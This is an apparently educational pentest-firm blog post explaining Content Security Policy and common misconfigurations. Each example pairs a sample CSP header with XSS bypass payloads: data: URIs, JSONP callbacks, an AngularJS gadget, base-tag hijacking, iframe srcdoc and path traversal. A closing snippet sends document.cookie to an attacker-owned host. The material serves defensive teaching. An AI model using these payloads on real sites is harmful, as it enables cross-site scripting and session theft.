GIVEAWAY
Win the ultimate AI security check with a free pentest giveaway!
GIVEAWAY
Win the ultimate AI security check with a free pentest giveaway!

The Guide to Understanding Content Security Policy (CSP) and Bypass Exploits

This blog post aims to demonstrate what CSP is and why CSP is implemented. And how attackers can bypass CSP. In this article, I will include how you can bypass some directives to achieve XSS on the target application.

Content Security Policy (CSP) is a W3C standard that allows developers to control resource loading and execution of certain types of scripts in a web application. It is designed to increase web applications' security and protect users from XSS (Cross-Site Scripting) attacks.

This blog post aims to demonstrate what CSP is and why CSP is implemented. And how attackers can bypass CSP. In this article, I will include how you can bypass some directives to achieve XSS on the target application.

 

What is CSP?

CSP stands for Content Security Policy, which defines what resources can be retrieved and executed by a web page. Another way to understand it is by determining which scripts, images, and iframes can be called or run on a specific page from different online locations. A few exceptions include server origins and script endpoints. HTTP response headers or meta elements are used to implement Content Security Policy.

 

Why is Implementing CSP Essential?

To prevent attacks such as cross-site scripting (XSS), CSP technology is built into most browsers as a built-in technology. Clickjacking can be prevented more efficiently than using X-Frame-Options headers by using proper CSP. Therefore, you should use CSP to protect your website against clickjacking attacks. However, if you want to protect older browsers that do not support CSP, you can combine this with the X-Frame-Options header. 

For example, input validation may protect a website from injection attacks, but attackers may still craft unique payloads to bypass it. As a result, CSP does not represent your first line of defense but your defense in depth.

Even when the validation checks are bypassed, CSP blocks script execution from an unintended source neutralizing the attack to much extent.

 

CSP Directives

When implementing CSP, we must understand different policy directives we can use. Let’s take a look at some of them.

script-src: Specifies the JavaScript sources that are allowed. Additionally, inline script event handlers (onclick) and XSLT stylesheets (eXtensible Stylesheet Language) that trigger script execution can also be loaded into elements.

default-src: This directive specifies how resources are fetched by default. The browser follows this directive if fetch directives are not included in the CSP header.

child-src: This directive specifies what resources web workers and embedded frames can use.

frame-src: This directive limits the URLs that can be called out as frames.

frame-ancestors: A directive specifies the sources where this page can be embedded. It applies only to non-HTML resources and can't be used in tags(used to prevent clickjacking attacks).

img-src: This specifies which sources can be used to load images on the web page.

object-src: This property defines the allowed sources for the elements object, embed, and widget.

base-uri: With this element, you can define the allowed URLs for an element to load using.

upgrade-insecure-requests: By using this directive, browsers are instructed to rewrite URL schemes so that HTTP is replaced by HTTPS. Rewriting old URLs can be beneficial for websites with many old URLs.

sandbox: The sandbox (document) directive creates a sandbox around the resource, similar to the sandbox attribute. As a result, popups are prevented, plugins and scripts are prohibited, and a same-origin policy is enforced.

Some other CSP directives include: prefetch-src, connect-src, form-action, etc.

 

Values for CSP Directives 

  • *: Except for data: blob: filesystem schemes, any URL can be used.
  • none: No sources are allowed to be loaded in this case.
  • self: A source that defines that resources from the same domain are permitted to be loaded.
  • data: Load resources using the data scheme (e.g. Base64 encoded images)
  • unsafe-eval: This allows you to create code from strings using eval() and window.execScript. This source should not be included in any directives. That's why it's called unsafe.
  • unsafe-hashes: Use this to enable specific event handlers inline.
  • unsafe-inline: This allows using inline resources, such as inline elements, javascript: URLs, and inline event handlers. For security reasons, this is not recommended.
  • nonce: An inline script whitelist that uses a cryptographic nonce (number used once). A nonce value must be unique and generated each time the server transmits a policy.
  • sha256-<hash>: The script has to have a specific SHA256 hash to be whitelisted.

To validate the CSP of your application, check out CSP Evaluator by Google.

csp-bypass-example

Unsafe Policies

 

Wildcard(*)

CSP Header

Content-Security-Policy: script-src 'self' https://cobalt.io https: data *; 

 

In script-src, a wildcard is used, which results in a misconfigured CSP policy.

XSS payloads:

<script src="data:text/javascript,alert(document.domain)"></script>

<script src=https://cobalt.io/evil.js></script>

 

Unsafe eval()

CSP Header

Content-Security-Policy: script-src https://cobalt.io 'unsafe-eval' data: http://*;

This policy remains vulnerable due to unsafe-eval usage despite having the script source set to https://www.cobalt.io.

XSS payloads:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

 

Unsafe inline

CSP Header

Content-Security-Policy: script-src ‘self’  'unsafe-inline' ;

Despite this policy requiring scripts from the Cobalt.io site, it is vulnerable because the directive uses unsafe-inline.

XSS payloads:

<script>alert(domain);</script>

<Svg OnLoad=alert(domain)>

 

Example:

Notice that a normal <tag eventhandler=js> will work if unsafe-inline is implemented.

Here we can see the above CSP header is implemented.

csp-header-example

Using the payload mentioned above, we can achieve XSS vulnerability.

payload-xss-vulnerability-example

JSONP Callback and Whitelisted the Third Party

In JSONP, the same-origin policy (SOP) is bypassed so you can request and retrieve data from a server without worrying about cross-domain issues.

JavaScript payloads can be injected into JSONP endpoints through GET parameters called "callbacks", and the endpoint will return them to you as JSON, bypassing SOP(same origin policy). For example, we can send our JavaScript payload via the JSONP endpoint. Below is an example:

https://accounts.google.com/o/oauth2/revoke?callback=alert(1)

javascript-payload-via-JSONP-endpoints

The script-src policy can cause problems if a header has one of these endpoints whitelisted. The JSONP endpoint would allow us to bypass the CSP policy by loading our malicious JavaScript.
There are a number of ready-to-use CSP bypass endpoints available in JSONBee.

CSP header

script-src https://www.google.com https://accounts.google.com;

The following payload would be loaded because accounts.google.com allows JavaScript files to be loaded. To load our malicious JavaScript, we are abusing the JSONP feature.

XSS payloads:

cobalt.io?vuln_param=https://accounts.google.com/o/oauth2/revoke?callback=alert(1)

 

Lack of object-src and default-src

CSP header

Content-Security-Policy: script-src 'self' ;

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>




">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'><param name="AllowScriptAccess" value="always"></object>

 

Angular JS

The CSP policy can be bypassed if the AngularJS application loads any scripts from a whitelisted domain. To accomplish this, a callback function and vulnerable class must be called. In addition, a special $event object is defined for AngularJS events, which simply refers to the browser event object. Through this object, you can bypass the CSP.

CSP header

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

XSS payloads:

ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>

 

File Upload

You can bypass the CSP if you can upload a JS file. There is a high probability that the server validates the uploaded file and allows only the specified file types to be uploaded.

In addition, even if you upload JS code into a file with an extension accepted by the server (e.g. script.png if png extension is allowed), this won't suffice because some servers, like the apache server, determine the MIME type of the file based on its extension. Chrome browser, for example, rejects Javascript code running in an image.

CSP header

Content-Security-Policy: script-src 'self';  object-src 'none' ;

XSS payloads:

‘“><script src="/uploads/csp.js"></script>

 

Whitelisted Scheme

CSP header

Content-Security-Policy: script-src data: ;

XSS payloads:

<script%20src=data:text/javascript,alert(1337)></script>

Here we can notice the above CSP header is implemented.

csp-header-implementation-example

After submitting the above payload, we can achieve XSS, bypassing the CSP.

xss-bypassing-csp

base-uri Bypass

A dangling markup injection can be performed if the base-uri directive is absent in the defined CSP. You can abuse the base tag to obtain an XSS by making the page load a script from your server if the script has a relative path (like /js/app.js). An HTTPS URL should be used if the vulnerable page is loaded over HTTPS.

CSP header

Content-Security-Policy: script-src 'nonce-abcd1234';

XSS payloads:

<Base Href=//X55.is>

We can notice that a CSP header is implemented like we discussed above.

csp-header-implementation-example-2

After submitting the above payload, we get the xss,

xss-payload-example-2

 

Folder path bypass

When you use the %2f to encode '/' as part of your CSP policy and point it to a folder, it will still be considered part of the folder. That seems to be the case with almost all modern-day browsers.

When the server decodes it, it can be bypassed by using "%2f..%2f",  bypassing the folder restriction. For example, you can access http://example.com/company/, and executing http://example.com/company%2f..%2fattacker/file.js will bypass the restriction.

CSP header: 

Content-Security-Policy: script-src cobalt.io/safe-directory/

XSS payloads:

<script src="https://<abc>.com/safe-directory%2f..%2f/abc/unsafe-directory"></script> 

Bypassing CSP using IFRAME

Attackers can use Iframes to bypass the below CSP policy. An iframe from the whitelisted domain must be allowed by the application in order to perform the bypass. An XSS attack can be easily facilitated by using the srcdoc attribute of the iframe.

CSP header

Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src  'self' ; 

XSS payloads:

<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>

<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

 

CSP Injection Bypass

In this case, the input from the user is reflected back in the CSP header. Let's take the following URL as an example:

https://www.cobalt.io?param=payload.

This is what you should see if your input is reflected in the CSP header.

CSP header

script-src payload;

object-src 'none';

base-uri 'none';

script-src can therefore be set to whatever value we want. This value can be easily set to a domain we control, bypassing the CSP.

CSP Data Exfiltration

Even though there’s a strict CSP that prohibits you from interacting with external servers, there are still things you can do to exfiltrate the data regardless of how strict the CSP is.

Location 

In order to send the secret information to the attacker's server, you could simply update the location:

var sessionid = document.cookie.split('=')[1] + "."; 

document.location = "https://www.attacker-owned-website.com/?" + sessionid;

 

Conclusion

Content Security Policy (CSP) serves as a defense-in-depth strategy against XSS and clickjacking attacks. CSP can, however, be easily bypassed if not implemented properly. Therefore, it is ideal for all scripts to reside on your hosts, and your CSP should not allow anything from the internet.

To learn more, be sure to check out our comprehensive Vulnerability Wiki

We hope you enjoyed this blog post. See you again in our next blog post.

Reference

Cobalt Core Secret Sauce CTA Image 2022

Back to Blog
About Shubham Chaskar
Shubham Chaskar is a core pentester with extensive experience as an application security engineer. He has certifications including CEH, eCPPTv2, and eWPTXv2. He has experience penetration testing with mobile apps, web applications, networks, cloud configurations, and thick-client apps. Bash, Python, Go, and PowerShell are his favorite programming languages to automate penetration testing. More By Shubham Chaskar
Is your wifi connection secure? How attackers take advantage of public WIFI
Do you connect to public wifi networks when you are out? You might be putting yourself and your data at risk. Core Pentester Orhan Yildirim shares how attackers take advantage of these public networks.
Blog
Sep 6, 2022